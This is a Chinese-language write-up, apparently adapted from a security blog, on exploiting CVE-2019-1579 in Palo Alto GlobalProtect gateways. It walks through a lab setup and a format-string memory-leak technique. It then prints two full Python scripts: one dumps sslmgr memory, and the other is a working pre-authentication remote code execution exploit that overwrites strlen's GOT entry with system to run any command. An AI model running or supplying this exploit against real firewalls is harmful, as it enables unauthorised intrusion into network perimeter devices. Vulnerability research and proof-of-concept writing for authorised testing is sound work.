0x00 分析背景
最近分析了几个存在漏洞的Palo Alto防火墙设备,这些特定设备面向公网并配置为了Global Protect网关。作为一个bug bounty新手,我经常被客户要求要证明我报告中漏洞的可利用性。
之前DEVCORE团队成员Orange Tsai和Meh Chang最近发布了博客文章。他们发现了一个预认证格式化字符串漏洞(CVE-2019-1579),该漏洞在一年多前(2018年6月)被Palo Alto悄悄修补了。
0x01 配置设备
Palo Alto目前推出了下一代防火墙,可大致分为物理部署和虚拟部署。本文中的漏洞利用是基于虚拟实例AWS。如何确定分析的目标设备是虚拟的还是物理的?根据我的经验,其中一种简单的方法是基于IP地址的检测。公司通常不会为其虚拟实例设置反向DNS记录。如果IP / DNS属于云提供商,那么它很可能是虚拟设备。
如果确定防火墙类型是AWS的,那么请转到AWS marketplace并启动Palo Alto VM,仅限于最新版本的8.0.x,8.1.x,9.0.x。
启动后就可以从Web管理界面升级固件,但是有一些细微差别,如果你启动9.0.x,它只能降级到8.1.x. 另一个非常重要的细节是确保选择“m4”或降级到8.xx,否则AWS将无法访问,就会无法使用。对于物理设备,可以在此处找到支持的固件。
如果使用的是AWS Firewall Bundle,就会包含许可证。如果从授权经销商处购买新设备,则可以激活试用许可证。如果通过Ebay之类的购买它并且它是“生产”设备,请确保卖家将许可证转让给了你,否则可能需要支付“重新认证”费用。
使用要测试的版本启动并运行设备后,需要在其中一个接口上安装全局保护网关,基本上只需要逐步完成就会启动工作了。Palo Alto提供了一些文档,如果遇到困难,可以将其用作参考。
如果要设置AWS,则需要更改网络接口上的密钥设置,否则将无法访问全局保护网关。转到AWS中用于Global Protect界面的网络接口。右键单击并选择“更改源/目标检查”。将值更改为“已禁用”,如下所示:
0x03 编写PoC代码
装好存在漏洞的设备固件并配置了全局保护网关,就可以通过SSH连接到设备了,现在拿到的shell功能其实非常有限。
为了获得漏洞的内存偏移量,我们需要访问sslmgr二进制文件。在权限较低的shell中,这有点难以实现。以前的研究人员发现有一种方法,但这个漏洞已被修复了。有另一种技术可以下载每个固件版本,从设备上拷贝一份,并检索偏移量。
我们可以使用设备的一些管理功能和漏洞来拿到root shell。有限shell提供的功能之一是能够增加关键服务生成的日志的详细程度,它还允许为每个服务定制日志文件。因为漏洞是一种格式字符串bug,我们是否可以将内存泄漏到日志中然后将其读出来?我们来看看这些bug。
继续分析代码会打印日志。
只要填充这四个参数,就可以传递格式字符串运算符来将内存从进程转储到日志。为什么这很重要?这意味着可以从内存中转储整个二进制文件并检索利用漏洞所需的偏移量。在能够做到这一点之前,首先需要为每个参数确定栈缓冲区的偏移量。我开发了一个可以从Github获取的脚本,它将在栈上找到指定的参数并打印出相关的偏移量。
脚本应输出类似下面的内容。这些偏移量指向我们控制的栈上的缓冲区。现在可以选择一个并用我们喜欢的任何内存地址填充它,然后使用%s格式运算符来读取该位置的内存。
通常情况下,必须解决一些问题才能获得准确的内存转储,某些不良字符会导致意外输出:
\ x00,\ x25和\ x26,空字节会导致一些问题,因为sprintf和strlen会将空字节识别为字符串的结尾。解决方法是使用格式字符串指向已知索引处的空字节,例如%10 $ c。
\ x25字符会破坏转储,因为它表示格式字符串字符%。我们可以使用两个\ x25 \ x25绕过它。
\ x26字符有点棘手,此字符出现问题的原因是因为它是用于拆分HTTP参数的标记。由于在已知索引的栈上没有&符号,我们只需使用%n向已知索引写一些,然后遇到带有\ x26的地址时引用它。
综上所述,我修改了以前的脚本,将用户提供的地址写入堆栈,使用%s格式运算符对其进行处理,然后将该地址的数据输出到日志中。将这个逻辑包含在循环中并结合对特殊字符的处理允许我们在任何可读位置转储大块内存。
你可以在我们的Github上找到这个脚本的MIPS版本。
#!/usr/bin/python
#
# Utility script to dump memory from SSLMGR using a given address range
# MIPS 64 Big Endian version
#
# Ex. python dump_memory.py -m 192.168.0.194 -g 192.168.0.196 -p admin -s 0x10000000 -e 0x10030000
#
# SPECIAL CHARS, \x00(line ender), \x25(%)(format str), \x26(&) (parameter delimeter)
import requests
from pwn import *
import sys
import binascii
import argparse
requests.packages.urllib3.disable_warnings()
proxies = None
# Comment out if not using a proxy like Burp, etc
#proxies = {
# 'http': 'http://127.0.0.1:8080',
# 'https': 'http://127.0.0.1:8080',
#}
# Constants
username = "admin"
prompt = username + "@PA-220>"
# Enable debug msgs
enable_dbg_cmd = "debug software logging-level set level dump service sslmgr"
# Can be used to restart the sslmgr service if it crashess
rst_cmd = "debug software restart process sslmgr"
# Padding to ensure that the dumped memory string is as long as the buffer supports
padding = "A*Kn" + "D"*100
def get_leak(sh):
sh.sendline("tail lines 30 mp-log sslmgr.log")
# Receive the output
sh.recvuntil(prompt)
sh.recvuntil(prompt)
sh.recvuntil(prompt)
sh.recvuntil(prompt)
# Get the leak data
leak_data = sh.recvuntil(prompt)
try:
start_idx = leak_data.rindex("user:")+5
end_idx = leak_data.rindex(", host_id:")
val = leak_data[start_idx:end_idx]
#print val
idx = val.find("A*Kn")
#Trim if padding is present
if idx != -1:
val = val[:idx] #Remove the space at the beginning
elif val.endswith("A*K"):
val = val[:-3]
elif val.endswith("A*"):
val = val[:-2]
elif val.endswith("A"):
val = val[:-1]
#print val
except ValueError, e:
print leak_data
raise e
return val
# Enable debug
def enable_dbg(sh):
sh.sendline(enable_dbg_cmd)
# Receive the output
for i in range(8):
sh.recvuntil(prompt)
def make_request(ip, user_email_idx, addr_buf, ampr_addr, prof_name_idx):
url = "https://%s/sslmgr" % ip
# Offset on stack to write ampresands too, should match offset in bad char replacement (170)
ampr_addr_str = p64(ampr_addr+6, endian='big')
ampr_addr_str_safe = ampr_addr_str.replace("\x00","%10$c")
ampr_addr_str_safe += "EEEEE" # padding
# Write ampresand string below to in memory to use as reference for bad char
ampresand = 0x26262626
fmt = '%' + str(ampresand&0xffff) + 'c'
fmt += '%' + str(prof_name_idx) +' $hn' # scep-profile-name offset
fmt += "DDDDDD"
data = "scep-profile-name="
data += ampr_addr_str_safe
data += "&appauthcookie="
data += fmt
# Payload for leaking memory at given address
data += "&scep-profile-name="
data += "AAAAAAAA"
data += "&appauthcookie="
data += "BBBBBBBB"
data += "&host-id="
data += "CCCCCCCC"
data += "&user-email="
data += addr_buf
data += "&user="
data += "%" + str(user_email_idx) +"$s" + padding
r = requests.post(url, data=data, proxies=proxies, verify=False)
out = r.text
if "502 Bad Gateway" in out:
print "[-] Error: Crashed. Aborting"
return False
return True
# Setup arguments
parser = argparse.ArgumentParser(description='Dump memory from SSLMGR.')
parser.add_argument('-m', dest='ssh_ip', help='IP Address of the Palo Alto Management Interface.', required=True)
parser.add_argument('-p', dest='ssh_pw', help='SSH password for the admin user.', required=True)
parser.add_argument('-g', dest='global_protect_ip', help='IP Address of the Palo Alto Global Protect Gateway.', required=True)
parser.add_argument('-s', dest='start_addr', help='Start address of memory dump. (hex)', required=True)
parser.add_argument('-e', dest='end_addr', help='End address of memory dump. (hex)', required=True)
# Parse out arguments
args = parser.parse_args()
ssh_ip = args.ssh_ip
global_protect_ip = args.global_protect_ip
password = args.ssh_pw
# Connect to ssh host
s = ssh(host=ssh_ip, user=username, password=password)
sh = s.shell()
sh.recvuntil(prompt)
# Enable debug
enable_dbg(sh)
user_email_idx = 78 # user-email offset
prof_name_idx = 179 # scep-profile-name offset
start = int(args.start_addr, 16) #0x10002600
end = int(args.end_addr, 16) #0x100026D8
ampr_addr = 0xFFEC27A740 # arbitrary buffer on the stack for holding ampresands
addr = start
#Get range
addr_range = end - start
f = open('dump_'+hex(start)+'_'+ hex(end) + '.bin', 'wb', 0) # Last argument ensures the file write flushes
f.write("\x00" * addr_range)
# Create progress logger
p = log.progress("Dumping memory to a file")
bin_data = ''
while addr < end:
addr_str = p64(addr, endian='big')
# Replace bad chars
addr_str = addr_str.replace("%","%%")
addr_str = addr_str.replace("\x00","%10$c")
addr_buf = addr_str.replace("\x26","%170$c")
# Send format str payload
if make_request(global_protect_ip, user_email_idx, addr_buf, ampr_addr, prof_name_idx):
# Print the leak
try:
val = get_leak(sh)
if val:
hex_data = binascii.hexlify(val)
incr = len(val)
# Seek to the correct offset and write there
cur_off = addr - start
f.seek(cur_off)
f.write(val)
else:
hex_data = '00'
incr = 1
p.status("%s: %s" % ( hex(addr), hex_data) )
addr += incr
except ValueError, e:
pass
else:
break
sh.close()
s.close()
f.close()
p.success("Finished! :-)")
执行后如下:
现在可以转储任意内存地址,最终可以转储需要的strlen GOT和系统PLT地址。
如果像sslmgr这样的关键服务崩溃,可以使用scp导出堆栈跟踪和崩溃转储。
可以使用IDA来打开ELF的核心转储文件。在IDA中打开分段视图,我们可以看到二进制文件在内存中的加载位置。在调试payload时注意到的另一个有趣的细节是,在我们的MIPS物理设备上看起来ASLR被禁用,因为二进制和加载的库总是在相同的地址加载。
最后就可以转储二进制文件了,以便可以获得偏移量。有大约0x40000字节要转储,大约4字节/秒,但是我们真正需要的是GOT和PLT中strlen和system的偏移量。
不幸的是,即使我们确切知道GOT和PLT是什么,GOT或PLT中也没有任何东西表示函数名称。GDB或IDA Pro如何解析函数名称?它使用的是ELF头。我们应该能够转储ELF头和二进制文件的一小部分来解析这些位置。一两个小时之后,我把我的内存转储放到了Binary Ninja中,(IDA Pro拒绝加载我的格式错误的ELF)。事实证明,Binary Ninja在分析和处理不完整或损坏的数据时非常好用。
对ELF的研究表明,PT_DYNAMIC程序头将保存一个表到其他部分,这些部分包含有关可执行二进制文件的相关信息。其中有三个对我们很重要,符号表(DT_SYMTAB-06),字符串表(DT_STRTAB-05)和全局偏移表(DT_PLTGOT-03)。符号表将列出PLT和GOT部分中函数的正确顺序。它还为字符串表提供了一个偏移量,以正确识别每个函数名称。
通过SYMBOL和STRING表的偏移,我们可以正确解析PLT和GOT中的函数名称。我编写了一个脚本来解析符号表转储并输出一个与PLT匹配的重新排序的字符串表。可以使用Binary Ninja的API完成,通过符号表与字符串表匹配,现在可以使用GOT覆盖它,以获得strlen和system所需的偏移量,以使用我们的脚本手动转储内存。
上面的列表显示了GOT中指向PLT(0x1001xxxx地址)的条目以及已经解析出来的几个库函数。结合我们的字符串表,我们最终可以为strlen和系统提取正确的偏移量并最终确定我们的POC。
我们的POC适用于基于MIPS的物理Palo Alto设备,但这些脚本可以适用于各种类型的设备,只需稍加调整即可。
#!/usr/bin/python
# Palo Alto RCE - MIPS - 8.0.7 (CVE-2019-1579)
#
# Based on https://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html
#
# Dependencies:
# pip install requests
#
# Author: b0yd
import requests
import sys
import struct
import argparse
requests.packages.urllib3.disable_warnings()
proxies = None
# Comment out if not using a proxy like Burp, etc
#proxies = {
# 'http': 'http://127.0.0.1:8080',
# 'https': 'http://127.0.0.1:8080',
#}
def exploit(ip, cmd):
url = "https://%s/sslmgr" % ip
strlen_GOT = 0x100396C0
system_PLT = 0x1001FC00
# Address to write to
palo_host_addr = strlen_GOT #strlen GOT
palo_str = struct.pack(">Q", palo_host_addr)
palo_safe = palo_str.replace("\x00","%10$c")
palo_str2 = struct.pack(">Q", palo_host_addr+4)
palo_safe2 = palo_str2.replace("\x00","%10$c")
palo_str3 = struct.pack(">Q", palo_host_addr+6)
palo_safe3 = palo_str3.replace("\x00","%10$c")
# Address being written
ampresand = system_PLT #system PLT
fmt = '%126$n'
fmt += '%' + str((ampresand>>16)&0xffff) + 'c'
fmt += '%179$hn'
fmt += '%' + str((ampresand&0xffff)-((ampresand>>16)&0xffff)) + 'c'
fmt += '%171$hn'
data = "scep-profile-name=" # Offset 179
data += palo_safe2
data += "&appauthcookie="
data += palo_safe3 # Offset 171
data += "&host-id="
data += palo_safe # Offset 126
data += "&user-email="
data += fmt
data += "&user="
data += cmd
r = requests.post(url, data=data, proxies=proxies, verify=False)
out = r.text
print out
def exec_cmd(ip, cmd):
url = "https://%s/sslmgr" % ip
data = "scep-profile-name="
data += cmd
r = requests.post(url, data=data, proxies=proxies, verify=False)
out = r.text
print out
parser = argparse.ArgumentParser(description='Send an email.')
parser.add_argument('-i', dest='ip', help='IP Address of the Palo Alto Global Protect Gateway.', required=True)
parser.add_argument('-c', dest='cmd', help='Command to run', required=True)
parser.add_argument('-e', dest='exploit_srv', help='Exploit server. (Swaps strlen and system)', action='store_true')
parser.set_defaults(exploit_srv=False)
args = parser.parse_args()
ip = args.ip
cmd = args.cmd
# Run exploit or just send cmd as arg
if args.exploit_srv:
exploit(ip, cmd)
else:
exec_cmd(ip, cmd)
注:本文参考自securifera.com